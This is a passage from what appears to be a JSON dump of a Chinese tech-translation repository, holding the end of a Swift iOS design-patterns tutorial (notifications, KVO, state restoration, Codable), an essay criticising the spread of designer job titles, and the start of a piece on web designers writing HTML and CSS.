观察者模式\n\n在观察者模式中，一个对象通知其他对象任何状态的更改，但是通知的涉及对象不需要相互关联，我们鼓励这种解耦的设计方式。这种模式最常用于在一个对象的属性发生更改时通知其他相关对象。\n\n通常的实现是需要观察者监听另一个对象的状态。当状态发生改变时，所有观察对象都会被通知此次更改。\n\n如果你坚持 MVC 的概念（也确实需要坚持），你需要允许 Model 对象与 View 对象进行通信，但是它们之间没有直接引用，这就是观察者模式的用武之地。\n\nCocoa 以两种方式实现了观察者模式：**通知** 和 **键值监听（KVO）**。\n\n### 通知\n\n不要与推送通知或本地通知混淆，观察者模式的通知基于订阅和发布模型，该模型允许对象（发布者）将消息发送到其他对象（订阅者或监听者），而且发布者永远不需要了解有关订阅者的任何信息。\n\nApple 会大量使用通知。例如，当显示或隐藏键盘时，系统分别发送 `UIKeyboardWillShow` 和 `UIKeyboardWillHide` 通知。当你的应用程序转入后台运行时，系统会发送一个 `UIApplicationDidEnterBackground` 通知。\n\n### 如何使用通知\n\n右击 **RWBlueLibrary** 并选择 **New Group**，然后命名为 **Extension**。再次右击该组，然后选择**New File > iOS > Swift File**，并将文件名设置为 **NotificationExtension.swift**。\n\n把下面的代码拷贝到该文件中：\n\n```swift\nextension Notification.Name {\n  static let BLDownloadImage = Notification.Name(\"BLDownloadImageNotification\")\n}\n```\n\n你正在使用自定义通知扩展的 `Notification.Name`，从现在开始，新的通知可以像系统通知一样用 `.BLDownloadImage` 访问。\n\n打开 **AlbumView.swift** 并将以下代码插入到 `init(frame:coverUrl:)` 方法的最后：\n\n```swift\nNotificationCenter.default.post(name: .BLDownloadImage, object: self, userInfo: [\"imageView\": coverImageView, \"coverUrl\" : coverUrl])\n```\n\n该行代码通过 `NotificationCenter` 的单例发送通知，通知信息包含要填充的 `UIImageView` 和要下载的专辑图像的 URL，这些是执行封面下载任务所需的所有信息。\n\n将以下代码添加到 **LibraryAPI.swift**中的 `init` 方法来作为当前为空的初始化方法的实现：\n\n```swift\nNotificationCenter.default.addObserver(self, selector: #selector(downloadImage(with:)), name: .BLDownloadImage, object: nil)\n```\n\n这是通知这个等式的另一边--观察者，每次 `AlbumView` 发送 `BLDownloadImage` 通知时，由于 `LibraryAPI` 已注册成为该通知的观察者，系统会通知 `LibraryAPI`，然后 `LibraryAPI` 响应并调用 `downloadImage(with:)`。\n\n在实现 `downloadImage(with:)` 之前，还有一件事要做。在本地保存下载的封面可能是个好主意，这样应用程序就不需要一遍又一遍地下载相同的封面了。\n\n打开 **PersistencyManager.swift**，把 `import Foundation` 换成下面的代码：\n\n```swift\nimport UIKit\n```\n\n此次 import 很重要，因为你将处理 `UI` 对象，比如 `UIImage`。\n\n把这个计算属性添加到该类的最后：\n\n```swift\nprivate var cache: URL {\n  return FileManager.default.urls(for: .cachesDirectory, in: .userDomainMask)[0]\n}\n```\n\n此变量返回缓存目录的 URL，它是一个存储了你可以随时重新下载的文件的好地方。\n\n现在添加以下两个方法：\n\n```swift\nfunc saveImage(_ image: UIImage, filename: String) {\n  let url = cache.appendingPathComponent(filename)\n  guard let data = UIImagePNGRepresentation(image) else {\n    return\n  }\n  try? data.write(to: url)\n}\n\nfunc getImage(with filename: String) -> UIImage? {\n  let url = cache.appendingPathComponent(filename)\n  guard let data = try? Data(contentsOf: url) else {\n    return nil\n  }\n  return UIImage(data: data)\n}\n```\n\n这段代码非常简单，下载的图像将保存在 Cache 目录中，如果在 Cache 目录中找不到匹配的文件，`getImage(with:)` 将返回 `nil`。\n\n现在打开 **LibraryAPI.swift** 并且将 `import Foundation` 改为 `import UIKit`。\n\n在类的最后添加以下方法：\n\n```swift\n@objc func downloadImage(with notification: Notification) {\n  guard let userInfo = notification.userInfo,\n    let imageView = userInfo[\"imageView\"] as? UIImageView,\n    let coverUrl = userInfo[\"coverUrl\"] as? String,\n    let filename = URL(string: coverUrl)?.lastPathComponent else {\n      return\n  }\n\n  if let savedImage = persistencyManager.getImage(with: filename) {\n    imageView.image = savedImage\n    return\n  }\n\n  DispatchQueue.global().async {\n    let downloadedImage = self.httpClient.downloadImage(coverUrl) ?? UIImage()\n    DispatchQueue.main.async {\n      imageView.image = downloadedImage\n      self.persistencyManager.saveImage(downloadedImage, filename: filename)\n    }\n  }\n}\n```\n\n以下是上面两个方法的详解：\n\n1. `downloadImage` 是通过通知触发调用的，因此该方法接收通知对象作为参数。从通知传递来的对象取出 `UIImageView` 和 image 的 URL。\n2. 如果先前已下载过，则从 `PersistencyManager` 中检索 image。\n3. 如果尚未下载图像，则使用 `HTTPClient` 检索。\n4. 下载完成后，在 imageView 中显示图像，并使用 `PersistencyManager` 将其保存在本地。\n\n再一次的，你使用外观模式隐藏了从其他类下载图像这一复杂的过程。通知发送者并不关心图像是来自网络下载还是来自本地的存储。\n\n编译并运行你的应用程序，现在能看到 collectionView 中漂亮的封面：\n\n![Album app showing cover art but still with spinners](https://koenig-media.raywenderlich.com/uploads/2017/07/CoversAndSpinners-180x320.png)\n\n停止你的应用并再次运行它。请注意加载封面没有延迟，这是因为它们已在本地保存了。你甚至可以断开与互联网的连接，应用程序仍将完美运行。然而这里有一个奇怪的地方，旋转加载的动画永远不会停止！这是怎么回事？\n\n你在下载图像时开始了旋转动画，但是在下载图像后，你并没有实现停止加载动画的逻辑。你 **本应该** 在每次下载图像时发送通知，但是下面你将使用键值监听（KVO）来执行此操作。\n\n### 键值监听（KVO）\n\n在 KVO 中，对象可以监听一个特定属性的任何更改，要么是自己的属性，要么就是另一个对象的。如果你有兴趣，可以阅读 [KVO 开发文档](https://developer.apple.com/library/ios/documentation/Cocoa/Conceptual/KeyValueObserving/KeyValueObserving.html) 中的更多关信息。\n\n### 如何使用键值监听\n\n如上所述，键值监听机制允许对象观察属性的变化。在你的案例中，你可以使用键值监听来监听显示图片的 `UIImageView` 里 `image` 属性的更改。\n\n打开 **AlbumView.swift** 并在 `private var indicatorView: UIActivityIndicatorView!` 的声明下面添加以下属性：\n\n```swift\nprivate var valueObservation: NSKeyValueObservation!\n```\n\n在添加封面的 imageView 做为子视图之前，将以下代码添加到`commonInit`：\n\n```swift\nvalueObservation = coverImageView.observe(\\.image, options: [.new]) { [unowned self] observed, change in\n  if change.newValue is UIImage {\n      self.indicatorView.stopAnimating()\n  }\n}\n```\n\n这段代码将 imageView 做为封面图片的 `image` 属性的观察者。`\\.image` 是一个启用此功能的 keyPath 表达式。\n\n在 Swift 4 中，keyPath 表达式具有以下形式：\n\n```\n\\<type>.<property>.<subproperty>\n```\n\n**type** 通常可以由编译器推断，但至少需要提供一个 **property**。在某些情况下，使用属性的属性可能是有意义的。在你现在的情况下，我们已指定属性名称 `image`，而省略了类型名称 `UIImageView`。\n\n尾随闭包指定了在每次观察到的属性更改时执行的闭包。在上面的代码中，当 `image` 属性更改时，你要停止加载的旋转动画。这样做了之后，当图片加载完成，旋转动画就会停止。\n\n编译并运行你的项目，加载中的旋转动画将会消失：\n\n![How the album app will look when the design patterns tutorial is complete](https://koenig-media.raywenderlich.com/uploads/2017/07/FinalApp-180x320.png)\n\n**注意：** 要始终记得在它们被销毁时删除你的观察者，否则当对象试图向这些不存在的观察者发送消息时，你的应用程序将崩溃！在这种情况下，当专辑视图被移除，`valueObservation` 将被销毁，因此监听将会停止。\n\n如果你稍微使用一下你的应用然后就终止它，你会注意到你的应用状态并未保存。应用程序启动时，你查看的最后一张专辑将不是默认专辑。\n\n要更正此问题，你可以使用之前列表中接下来的一个模式：**备忘录**。\n\n## 备忘录模式\n\n备忘录模式捕获并使对象的内部状态暴露出来。换句话讲，它可以在某处保存你的东西，稍后在不违反封装的原则下恢复此对外暴露的状态。也就是说，私有数据仍然是私有的。\n\n## 如何使用备忘录模式\n\niOS 使用备忘录模式作为 **状态恢复** 的一部分。你可以通过阅读我们的 [教程](https://www.raywenderlich.com/117471/state-restoration-tutorial) 来了解更多信息，但实质上它会存储并重新应用你的应用程序状态，以便用户回到上次操作的状态。\n\n要在应用程序中激活状态恢复，请打开 **Main.storyboard**，选择 **Navigation Controller**，然后在 **Identity Inspector** 中找到 **Restoration ID** 字段并输入 **NavigationController**。\n\n选择 **Pop Music** scene 并在刚才的位置输入 **ViewController**。这些 ID 会告诉系统，当应用重新启动时，你想要恢复这些 viewController 的状态。\n\n在 **AppDelegate.swift** 中添加以下代码：\n\n```swift\nfunc application(_ application: UIApplication, shouldSaveApplicationState coder: NSCoder) -> Bool {\n  return true\n}\n\nfunc application(_ application: UIApplication, shouldRestoreApplicationState coder: NSCoder) -> Bool {\n  return true\n}\n```\n\n以下的代码会为你的应用程序打开状态作为一个整体来还原。现在，将以下代码添加到 **ViewController.swift** 中的 `Constants` 枚举中：\n\n```swift\nstatic let IndexRestorationKey = \"currentAlbumIndex\"\n```\n\n这个静态常量将用于保存和恢复当前专辑的索引，现在添加以下代码：\n\n```swift\noverride func encodeRestorableState(with coder: NSCoder) {\n  coder.encode(currentAlbumIndex, forKey: Constants.IndexRestorationKey)\n  super.encodeRestorableState(with: coder)\n}\n\noverride func decodeRestorableState(with coder: NSCoder) {\n  super.decodeRestorableState(with: coder)\n  currentAlbumIndex = coder.decodeInteger(forKey: Constants.IndexRestorationKey)\n  showDataForAlbum(at: currentAlbumIndex)\n  horizontalScrollerView.reload()\n}\n```\n\n你将在这里保存索引（该操作在应用程序进入后台时进行）并恢复它（该操作在应用程序启动时加载完成 controller 中的 view 后进行）。还原索引后，更新 tableView 和 scrollView 以显示更新之后的选中状态。还有一件事要做，那就是你需要将 scrollView 滚动到正确的位置。如果你在此处滚动 scrollView，这样是行不通的，因为 view 尚未布局完毕。下面请在正确的地方添加代码让 scrollView 滚动到对应的 view：\n\n```swift\noverride func viewDidAppear(_ animated: Bool) {\n  super.viewDidAppear(animated)\n  horizontalScrollerView.scrollToView(at: currentAlbumIndex, animated: false)\n}\n```\n\n编译并运行你的应用程序，点击其中一个专辑，然后按一下 Home 键使应用程序进入后台（如果你在模拟器上运行，则也可以按下 **Command+Shift+H**），再从 Xcode 上停止运行你的应用程序并重新启动，看一下之前选择的专辑是否到了中间的位置：\n\n![How the album app will look when the design patterns tutorial is complete](https://koenig-media.raywenderlich.com/uploads/2017/07/FinalApp-180x320.png)\n\n请看一下 `PersistencyManager` 中的 `init` 方法，你会注意到每次创建 `PersistencyManager` 时都会对专辑数据进行硬编码并重新创建。但其实更好的解决方案是一次性创建好专辑列表并将其存储在文件中。那你该如何将 `Album` 的数据保存到文件中呢？\n\n方案之一是遍历 `Album` 的属性并将它们保存到 plist 文件，然后在需要时重新创建 `Album` 实例，但这并不是最佳的，因为它要求你根据每个类中的数据或属性编写特定代码，如果你以后创建了具有不同属性的 `Movie` 类，则保存和加载该数据都将需要重写新的代码。\n\n此外，你将无法为每个类实例保存私有变量，因为外部类并不难访问它们，这就是为什么 Apple 要创建 **归档和序列化** 机制。\n\n### 归档和序列化\n\nApple 的备忘录模式的一个专门实现方法是通过归档和序列化。在 Swift 4 之前，为了序列化和保存你的自定义类型，你必须经过许多步骤。对于 `类` 来说，你需要继承自 `NSObject` 并遵行 `NSCoding` 协议。\n\n但是像 `结构体` 和 `枚举` 这样的值类型就需要一个可以扩展 `NSObject` 并遵行 `NSCoding` 的子对象了。\n\nSwift 4 为 `类`，`结构体` 和 `枚举` 这三种类型解决了这个问题：[[SE-0166]](https://github.com/apple/swift-evolution/blob/master/proposals/0166-swift-archival-serialization.md)。\n\n### 如何使用归档和序列化\n\n打开 **Album.swift** 并让 `Album` 遵行 `Codable`。这个协议可以让 Swift 中的类同时遵行 `Encodable` 和 `Decodable`。如果所有属性都是可 `Codable` 的，则协议的实现由编译器自动生成。\n\n你的代码现在看起来会像这样：\n\n```swift\nstruct Album: Codable {\n  let title : String\n  let artist : String\n  let genre : String\n  let coverUrl : String\n  let year : String\n}\n```\n\n要对对象进行编码，你需要使用 encoder。打开 **PersistencyManager.swift** 并添加以下代码：\n\n```swift\nprivate var documents: URL {\n  return FileManager.default.urls(for: .documentDirectory, in: .userDomainMask)[0]\n}\n\nprivate enum Filenames {\n  static let Albums = \"albums.json\"\n}\n\nfunc saveAlbums() {\n  let url = documents.appendingPathComponent(Filenames.Albums)\n  let encoder = JSONEncoder()\n  guard let encodedData = try? encoder.encode(albums) else {\n    return\n  }\n  try? encodedData.write(to: url)\n}\n```\n\n就像使用 `caches` 一样，你将在此定义一个 URL 用来保存文件目录，它是一个存储文件名路径的常量，然后就是将你的专辑数据写入文件的方法，事实上你并不用编写很多的代码！\n\n该方案的另一部分是将数据解码回具体对象。你现在需要替换掉创建专辑并从文件中加载它们的很长一段的那个方法。下载并解压 [此JSON文件](https://koenig-media.raywenderlich.com/uploads/2017/07/albums.json_.zip) 并将其添加到你的项目中。\n\n现在用以下代码替换 **PersistencyManager.swift** 中的 `init` 方法体：\n\n```swift\nlet savedURL = documents.appendingPathComponent(Filenames.Albums)\nvar data = try? Data(contentsOf: savedURL)\nif data == nil, let bundleURL = Bundle.main.url(forResource: Filenames.Albums, withExtension: nil) {\n  data = try? Data(contentsOf: bundleURL)\n}\n\nif let albumData = data,\n  let decodedAlbums = try? JSONDecoder().decode([Album].self, from: albumData) {\n  albums = decodedAlbums\n  saveAlbums()\n}\n```\n\n现在你正在从 documents 目录下的文件中加载专辑数据（如果存在的话）。如果它不存在，则从先前添加的启动文件中加载它，然后就立即保存，那么下次启动时它将会位于文档目录中。`JSONDecoder` 非常智能，你只需告诉它你希望文件包含的类型，它就会为你完成剩下的所有工作！\n\n你可能还希望每次应用进入后台时保存专辑数据，我将把这一部分作为一个挑战让你亲自弄明白其中的原理，你在这两个教程中学到的一些模式还有技术将会派上用场！\n\n## 接下来该干嘛？\n\n你可以 [在此](https://koenig-media.raywenderlich.com/uploads/2017/07/RWBlueLibrary-Part2-Final.zip) 下载最终项目。\n\n在本教程中你了解了如何利用 iOS 设计模式的强大功能来以很直接的方式执行复杂的任务。你已经学习了很多 iOS 设计模式和概念：单例，MVC，代理，协议，外观，观察者和备忘录。\n\n你的最终代码将会是耦合度低、可重用并且易读的。如果其他开发者阅读你的代码，他们将能够很轻松地了解每行代码的功能以及每个类在你的应用中的作用。\n\n其中的关键点是不要为你了使用设计模式而使用它。然而在考虑如何解决特定问题时，请留意设计模式，尤其是在设计应用程序的早期阶段。它们将使作为开发者的你生活变得更加轻松，代码同时也会更好！\n\n关于该文章主题的一本经典书籍是 [Design Patterns: Elements of Reusable Object-Oriented Software](http://www.amazon.com/Design-Patterns-Elements-Reusable-Object-Oriented/dp/0201633612/)。有关代码示例，请查看 GitHub 上一个非常棒的项目 [Design Patterns: Elements of Reusable Object-Oriented Software](https://github.com/ochococo/Design-Patterns-In-Swift) 来取更多在 Swift 中编程中的设计模式。\n\n最后请务必查看 [Swift 设计模式进阶](http://www.raywenderlich.com/86053/intermediate-design-patterns-in-swift) 和我们的视频课程 [iOS Design Patterns](https://videos.raywenderlich.com/courses/72-ios-design-patterns/lessons/1) 来了解更多设计模式！\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/design-types-7d75839a20ea.md",
    "content": "> * 原文地址：[Why UX, UI, CX, IA, IxD, and Other Sorts of Design Are Dumb](https://medium.muz.li/design-types-7d75839a20ea)\n> * 原文作者：[Slava Shestopalov](https://medium.muz.li/@shestopalov.v?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/design-types-7d75839a20ea.md](https://github.com/xitu/gold-miner/blob/master/TODO1/design-types-7d75839a20ea.md)\n> * 译者：[zhmhhu](https://github.com/zhmhhu)\n> * 校对者：[xujunjiejack](https://github.com/xujunjiejack), [osirism](https://github.com/osirism)\n\n# 为什么给设计定义 UX、UI、CX、IA、IxD 和其他类型的头衔是愚蠢的行为\n\n## 如何停止为过度使用的术语设置定义并开始工作。我的观点如下。\n\n你在做什么？你在简历和作品集上会给自己取个什么头衔？为什么是这些头衔？我邀请你来研究一下设计的头衔和方向是如何与现实世界（不）相关的。所以，让我们来看看事物的当前状态。我想你已经了解过各种区分 UX 和 UI，UX 和 CX，用户体验和产品设计等各种设计头衔的方式。你可能已经看到了有关区分 UI 和 UX，UX 和 IxD 等设计师类型的图表，它们很华丽。随着时间的推移，用来展示不同设计头衔的图表变得越来越复杂。\n\n![](https://cdn-images-1.medium.com/max/1000/1*XWNVnfj2dLz6nv27Xs_6_Q.png)\n\n这些生动反映了我想反复研究的现象，如果你曾经搜索过这样的东西，你可能已经注意到他们并没有给出答案，也没有告诉你太多我们这些人 —— 设计师 —— 的事\n\n在所有这些差异化图表中总是会遗失一些重要的东西。做这些图表的价值在哪里？钱？社会目的还是商业目的？如果没有考虑到任何可衡量的价值，这些图表也只不过是为设计师提供了一个闲暇时刻的讨论话题而已。对于大多数人来说 —— 那些没有生活在像素、字体和画布世界的人 —— 这些都是无意义的东西。当然这对我们的客户来讲，似乎也是无意义的。\n\n![](https://cdn-images-1.medium.com/max/1000/1*Rd8N8AgupUMRaBJJ_txp8A.png)\n\n我记得当我试图“\b启发”客户，并在他们混淆了设计术语时将目光投向了他们。现在我确切地知道是谁从地狱创造了所谓的客户 —— 来自地狱的设计师。正如几年前的我一样。我们正处在我们挖掘的陷阱中。UX、CX、UI、IxD 等之间的差异不会引起非设计人员的注意。并不一定要注意这些差别，因为这种差别是理论上的。\n\n![](https://cdn-images-1.medium.com/max/1000/1*vviekrE3A_mbzN2YlX6msA.png)\n\n我有一个假设，即现代的创意设计类型和主题的爆发是一种对陈旧观念的抵制。也许我们添加描述性词语或者用 “策略师”，“建筑师”，“分析师” 和 “开发者” 取代 “设计师”是为了避免 “让它看起来性感。\b称自己为产品设计师或产品经理（不管它是什么意思）是一种新潮。最近产品已经成为了新的用户体验。这不是一个恶性循环吗？“企业家” 和 “首席执行官” 这种头衔已经存在了数十年，现在他们开始嘲笑我们不断变化的工作头衔。\n\n![](https://cdn-images-1.medium.com/max/1000/1*LVTK3hTwcAObaZ_A6pT6Bg.png)\n\n如果工作的结果缺乏有形的价值，那么无论你怎样称呼你自己和你的能力都没有关系。如果设计师绘制线框、准备原型、举办研讨会，但无法为问题提供设计**解决方案**，他或她就不是一个设计师。\n\n> **只有当你关心他们的业务时，客户才会关心你的工作。**\n\n那么，设计师应该做什么？侧重于狭窄区域还是负责所有设计活动，两者之间的平衡点在哪里？绘制模型和影响窗口后面的世界，它们的边界在哪里？有一种流行的观点认为，T 形技能对于设计师来说是最好的。这意味着设计师在某些领域具有深厚的专业知识，并且在其他设计领域具有一定的知识面。\n\n![](https://cdn-images-1.medium.com/max/1000/1*hK7ytbVyb-RZ15CfBODnbg.png)\n\n但是，我们生活在一个怪异的时代。有那么一群技能形状为“丁丁”类的设计师，他们只关注于某一狭小领域而对其他相关领域甚少了解。拥有这一特点的设计师在设计过程中会缺少战略性思考，无法考虑到最终价值。\n\n![](https://cdn-images-1.medium.com/max/1000/1*NWL3zO3SIvITHknl-TlDkA.png)\n\n我经常听到，“哦，天哪，我不画图标。我是 UX 设计师。我将我的框架图提交给做 UI 的家伙”。或者，“我是负责调色板的。商业模式的内容你最好去问下白板上的那个女孩。”接下来会怎么样？会有蓝色按钮设计师？（不要与红色按钮设计师混淆。）扁平化图标构建师？消费者体验地图策划师？便利贴收割机？Helvetica 海报开发人员？为了感受这些头衔是多怪诞，你可以尝试改变一些非设计职位。钢锤木匠，机动游艇水手，亚洲风味厨师，贝瑞塔枪士兵...\n\n> “UX/UI 设计师”听起来像“蔬菜/胡萝卜沙拉”或“汽车/公交车司机”一样尴尬。\n\n由于设计思维现在被大肆炒作，出现了另一个问题。我称之为技能形状为“破折号”类的设计师。他们参与了许多设计研讨会和课程，在不同的设计领域方向都有一些粗浅的了解，但却不能给出任何有价值且具有复合性的产出。例如，UI/UX/Web/移动终端/桌面终端 设计师，服务/数字/产品 设计师/经理。\n\n![](https://cdn-images-1.medium.com/max/1000/1*riMfPuh8foxeobts4Xgt8A.png)\n\n你可能会不同意，“理论上这听起来很酷。但是这些流行的头衔正是 HR 和招聘人员所追求的。”这在一定程度上是正确的。并且到某种程度上我们确实要考虑职业尊严。如果把我们的工作称为“像素移动器”或“Photoshop 操作员”是一种新潮的做法，我们还会把它放在简历上吗？当然，目前的情况还不会这么糟，但我们确实有在往这个情况发展的趋势。\n\n我认为，大公司在不把设计师培养成为设计师方面颇有贡献。设计师和设计类型的大集合是大团队进行细粒度工作分配的结果。设计师们习惯于负责自己的一小块部分，并逐渐忘记如何用最终目标来检验他们的结果。我的观点是，设计师可以专注于某个领域，但是必须从头到尾参与到设计过程中。从俯视的角度来看，有一个通用的设计工作流程。\n\n> 每个行业的方法各不相同, 但核心是相同的：研究、构思、验证、实施。\n\n如果我们称自己为设计师, 我相信我们应该对整个产品的命运负责, 即使一次只做一小部分的工作。如果图标、框架图、版面、图标或原型是整洁的, 但用户看到的是一场灾难, 那么设计者就还没有完成他们的工作。我在强调一遍。我不提倡成为一个设计通才与设计专家。只是指出我们现在存在的职业失衡和模糊。在所有工作中，各种设计职位有最不稳定的边界]。\n\n现在我们可以回到我在开始时提问的问题上。我们的职位称呼是什么？为什么用这些词？这里有另一个有趣的现象。设计师们常常以他们做了**什么**来给自己定头衔。现在，头衔越来越能够反映出我们是**如何**工作的, 因为设计一个手机界面和一个微波炉没有太大的区别。“只要你能设计一件东西，你就可以设计任何其他的东西”，方法论是非常重要的。什么是指导我们获得良好解决方案的步骤？我们如何衡量他们的价值？在商业上，什么可以帮助我们赚更多的钱？\n\n![](https://cdn-images-1.medium.com/max/1000/1*bWGnsAWm-KdOdetYjO9nGw.png)\n\n我们应该展现我们认为正确的可衡量的价值。有时设计师提出的解决方案不能立即带来收入，但却可以吸引一些忠实的顾客。培养用户的忠诚和维护产品的声誉可以在未来帮助产品盈利。任务是展示这种结果将如何实现。这就像下棋。你想到的步骤越多，获得的声誉和信任就越多。\n\n设计的投资回报率是我们这个行业的基本问题之一，而我越来越感觉到缺乏它。Photoshop、Sketch、pixel perfection、customer journey maps、visual language 不会让我们成为设计师。就像锤子和锯子不会让某人成为木匠一样。当我们解决了问题和贡献有价值的东西时我们才是设计师。\n\n![](https://cdn-images-1.medium.com/max/1000/1*weMdmdiR2hQCC_TIB07XSQ.png)\n\n总会有人和事来破坏我们的职业声誉。有一个流行的段子说，总会有人能够做到更廉价、更糟糕。幸运的是，我们可以做很多简单的事情来支持设计师的正面形象。\n\n#### 1. 明确而简洁地声明你的工作\n\n经过几十年的发展，只有“设计师”这个词保持不变。如果你在“设计师”之前写下任何文字，检查他们是否可以在十年左右时间内保持相关性。谨防提及某种特定的工具或方法，因为这会让你看起来能力有限。在任何时候，严肃的、成熟的客户都不会寻找框架图艺术家和按钮创作者。他们是需要可以征服市场、解决问题和为公司创造盈利的人。如果你是他们中的一员，你就掌控了变化。专门研究某些东西，直到它成为理解整个业务的障碍，是很好的做法。\n\n#### 2. 我们的工作不单是作品的展示，更重要的是增加产品价值\n\n你可能会发现许多工作缺乏有形的价值。哦，我从我自己的经验中知道。尝试“将金融应用程序的注册增速提高 2 倍”，而不是“为金融应用程序设计更好的外观和体验”。对于“物流 VR 概念设计”项目，考虑“可节省高达 40% 的交付成本的 VR 概念”。价值可以是金融回报，增加收入或节省支出。也可以是社会回报，改善人们的生活。“我完成的”比“我做的”更强大，更强调结果。\n\n#### 3. 收集并创建设计影响结果的证据\n\n客户将永远挑战我们的设计工作并质疑我们的建议。而一个项目越大，依赖未经证实的设计就越容易冒险。因此，我们应该从设计对商业和人员的影响的案例中学习有用的东西并创造这种案例。最近的一个案例是 Forrester 的关于设计思维技术如何影响 IBM 经济绩效的研究。\n\n另一方面，有一个关于设计价值的广泛流传的谬误。很难将设计从所有活动中单独剥离出来，并说出类似这样的话“设计师一周的工作可以为我们的业务带来 1 万美元的收入”。有一个广为流传的假消息指出，“在设计上投资1美元可以带来 100 美元的收入”。这个想法通常不会在与之相关的书中存在。我们提到的这些未经证实的事实越多，就越会走向“艺术家”的歧途。设计师的责任是用研究数据取代\b谬误。\n\n* * *\n\n**最后，附上“visual basic 之父” 最近发布在 tweet 上的一句话。**\n\n![](https://cdn-images-1.medium.com/max/1000/1*2Wjbju8NISCNbyxuvZVKig.png)\n\n**随时联系：[_Dribbble_](https://dribbble.com/shestopalov)_、_ [_Behance_](https://www.behance.net/shestopalov)_、_ [_SlideShare_](https://www.slideshare.net/shestopalov)_、_ [_Instagram_](https://www.instagram.com/slava.shestopalov/)。**\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/designing-for-the-web-ought-to-mean-making-html-and-css.md",
    "content": "> * 原文地址：[Designing for the web ought to mean making HTML and CSS](https://m.signalvnoise.com/designing-for-the-web-ought-to-mean-making-html-and-css/)\n> * 原文作者：[DHH](https://m.signalvnoise.com/author/dhh/)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/designing-for-the-web-ought-to-mean-making-html-and-css.md](https://github.com/xitu/gold-miner/blob/master/TODO1/designing-for-the-web-ought-to-mean-making-html-and-css.md)\n> * 译者：[jerryOnlyZRJ](https://github.com/jerryOnlyZRJ)\n> * 校对者：[sunui](https://github.com/sunui)，[acev](https://github.com/acev-online)\n\n# 设计一个页面原则上应该指的是编写 HTML 和 CSS\n\n在 90 年代后期的互联网泡沫期间，我做了一堆 Photoshop 切图工作。如你所知，设计师将 PSD 文件切片后交给切图仔拼接到 HTML 上，这很悲惨。\n\n这些 mock 式的设计总是专注于像素的完美契合，但这却逐渐歪曲和偏离了 web 的本质。间隔像素，还记得吗？我们制作网页的原材料，特别是 HTML，到后来的 CSS，都在做着他们本不该做的事情。\n\n后来很幸运的是我能与真正了解 HTML 和 CSS 的设计师合作。这启示了我，不仅让我感觉设计**是网页的一部分**，而不是**一味的堆叠**，给我的体验始终更好。我们更少地关注它的呈现，更多专注它的作用。\n\n我认为这在很大程度上归功于它是真实的。设计与真实 HTML/CSS 代码协作的反馈回路，因为它注定之后要被部署，为设计师提供来自现实世界的反馈来使其更好。而设计师有能力自己完成工作这一事实将会使反馈的回路更短。如果没有做出改变，就会要求其他人实施改变，思考其有效性，然后不断重复这一过程，这就是改变、检查、改变、往复循环的流程。\n\n有一段时间，我感觉这几乎是常态。局限于 Photoshop 模拟图像的网页设计师变得越来越罕见，他们在使用他们的资源方面变得越来越好。\n\n但正如[巨大的隔阂](https://css-tricks.com/the-great-divide/)一文中指出的那样，退化却始终潜伏着，因为对于设计师这个行业而言直接去编写与 web 相关的工作是很困难的，某些需要使用 JavaScript 的才能实现的想法已经吓跑了一些设计师，这听起来就是一个讽刺。 \n\n在 Basecamp，网页设计师都会编写 HTML、CSS 以及必要的 JavaScript 和 Rails 代码！这意味着他们可以完全独立地在真正的应用程序里复现他们的设计理念！很多时候，JavaScript 和 Rails 代码在与程序员进行简短的咨询后都可以直接上线。\n\n其他时候编程工作涉及更多，专职程序员将与其结对完成要上线的功能。我没法用言语形容与知道页面设计有哪些限制的设计师合作有多么愉快，并且我们可以做完比起任何一个人更多的工作。当你在基本面上重叠时，你会更频繁地在同一页面上。（虽然我们仍然交易让步！）\n\n我们有可能找到这样优秀的独角兽设计师吗？也许，我猜？比如谁呢？斯科特、JZ 、康纳、乔纳斯、瑞安和杰森通过在工作中不断的投入，在今天都成长为了这样的设计师。不要被他人的轻视或者像“这对他们来说太难了”的废话影响。\n\n如今这个问题也与**我们**如何制作网页有关。Basecamp 是著名的，也可以说不太出名的一家，这主要取决于你问的是谁，那是一家不愿意迎接重量级 SPA 的复杂新世界大门的公司。我们使用 [服务器端渲染](https://rubyonrails.org/)，并使用 [Turbolinks](https://github.com/turbolinks/turbolinks) 和 